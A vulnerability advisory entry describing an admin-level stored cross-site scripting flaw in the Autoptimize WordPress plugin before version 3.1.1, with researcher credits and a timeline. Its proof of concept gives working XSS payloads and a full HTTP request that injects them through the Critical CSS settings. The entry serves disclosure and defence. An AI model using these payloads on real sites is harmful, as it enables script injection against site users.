WordPress Plugin Vulnerabilities
Autoptimize < 3.1.1 - Admin+ Stored Cross Site Scripting
Description
The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)
Proof of Concept
Create a new Critical CSS rule (/wp-admin/options-general.php?page=ao_critcss) and add the following payload to Path value: " style=animation-name:rotation onanimationstart=alert(/XSS/)// POST /wp-admin/admin-ajax.php HTTP/1.1 Accept: */* Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 254 Connection: close Cookie: [admin+] action=ao_ccss_saverules&ao_ccss_saverules_nonce=56b7a003c7&critcssrules=%7b%22paths%22%3a%7b%22%5c%22%20style%3danimation-name%3arotation%20onanimationstart%3dalert(%2fXSS%2f)%2f%2f%22%3a%7b%22hash%22%3a0%2c%22file%22%3a0%7d%7d%2c%22types%22%3a%7b%7d%7d The form is also vulnerable when creating a conditional tag by adding the following payload (Fixed in 3.1.0): {html:background:url("</style><svg+onload='alert(1)'/>")} The xSS will be triggered when accessing the Critical CSS settings again
Affects Plugins
References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Raad Haddad of Cloudyrion GmbH
Submitter
Raad Haddad of Cloudyrion GmbH
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-08-17 (about 1 years ago)
Added
2022-08-17 (about 1 years ago)
Last Updated
2023-05-09 (about 1 years ago)